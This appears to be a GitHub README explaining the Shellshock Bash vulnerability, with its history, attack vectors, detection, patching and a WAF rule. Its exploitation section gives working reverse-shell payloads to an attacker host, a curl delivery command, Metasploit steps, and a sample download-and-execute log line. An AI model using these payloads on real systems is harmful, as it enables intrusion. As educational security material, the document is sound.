kaleth4/-cve-2014-6271
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Remote Code Execution via Bash Environment Variable Injection
"A flaw hidden in Bash for decades that shook the foundations of the internet in less than 24 hours."
Shellshock (also known as Bashdoor) is a family of critical vulnerabilities in the GNU Bash command interpreter that allows a remote attacker to execute arbitrary commands on the target system.
The fundamental flaw: Bash did not stop parsing an environment variable after finishing the definition of a function. Any code concatenated after () { :; }; was automatically executed.
Env Variable → Function Definition → [HERE EXECUTES EXTRA CODE] ← BUG
Since web servers (CGI/Apache), SSH services, and DHCP clients convert headers or parameters into Bash environment variables, the attack surface was massive.
12 Sep 2014 ──── Stéphane Chazelas discovers the bug and reports it to Chet Ramey (Bash maintainer)
The bug existed in Bash for over 20 years.
24 Sep 2014 ──── Public disclosure + publication of the patch (CVE-2014-6271)
Hours later: active botnets scanning the internet massively.
25-30 Sep 2014 ── Related vulnerabilities discovered:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct 2014 ──────── Millions of attacks recorded. Compared in severity to Heartbleed.
When Bash imports a function from an environment variable, it reads until the closing } of the function. In vulnerable versions, it continued processing the subsequent code instead of stopping.
# Malicious environment variable:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Vulnerable Bash when initializing:
# 1. Reads the function definition → OK
# 2. Encounters }; → should stop
# 3. CONTINUES → executes /bin/cat /etc/passwd ← BUG
Attacker Apache Server (CGI) Bash (vulnerable)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Converts headers to env vars │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Executes cmd
│ │ │ as www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Response + cmd output │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
Output on VULNERABLE system:
VULNERABLE
this is a test
Output on PATCHED system:
this is a test
(or a syntax error — never prints "VULNERABLE")
Web servers using .cgi scripts convert HTTP Headers into Bash environment variables.
Affected headers: User-Agent, Referer, Cookie, X-Forwarded-For, and any custom header
# If the server has ForceCommand configured, an attacker with a valid key can bypass it
ssh user@target '() { :;}; /bin/bash'
Malicious DHCP servers can inject environment variables into clients that use Bash to process the DHCP response.
# Any process that inherits environment variables and runs Bash
env VAR='() { :;}; malicious_command' bash -c "legitimate_script"
nc -lvnp 4444
# Payload injected into User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://vulnerable-site.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Look for the characteristic pattern in access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Example malicious log:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Child processes of www-data/apache that should not exist
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- New executable files in /tmp, /var/tmp, /dev/shm
- Outbound connections from the web server to unknown IPs
- Modification of /etc/crontab or /etc/passwd
- Bash processes running as www-data without a terminal
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Verify patched version (must show "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PATCHED (varies by distro)
# Must return only "this is a test" — NEVER "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
# 1. Disable CGI if not needed
a2dismod cgi
# 2. WAF rule to block the pattern
# In ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. Continuous log monitoring
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
This repository is exclusively for educational purposes, cybersecurity research, and authorized security audits. All information presented here is public domain. Testing against systems without explicit authorization is illegal under the laws of most jurisdictions. The author is not responsible for the misuse of this information.
Discovered by Stéphane Chazelas · Published on September 24, 2014
CVSS Score: 10.0 (Critical) → Subsequently adjusted to 9.8 in CVSSv3
| Product | Vulnerable Versions | Status |
|---|
| GNU Bash | 1.0.3 – 4.3 | Patched |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Pre-Sept 2014 versions | Patched |
| Apple macOS / OS X | 10.10 and earlier | Patched (Security Update 2014-005) |
| IoT devices with embedded Bash | Multiple | Varies by vendor |
| Web servers with CGI over Apache | Any version with vulnerable Bash | Patched |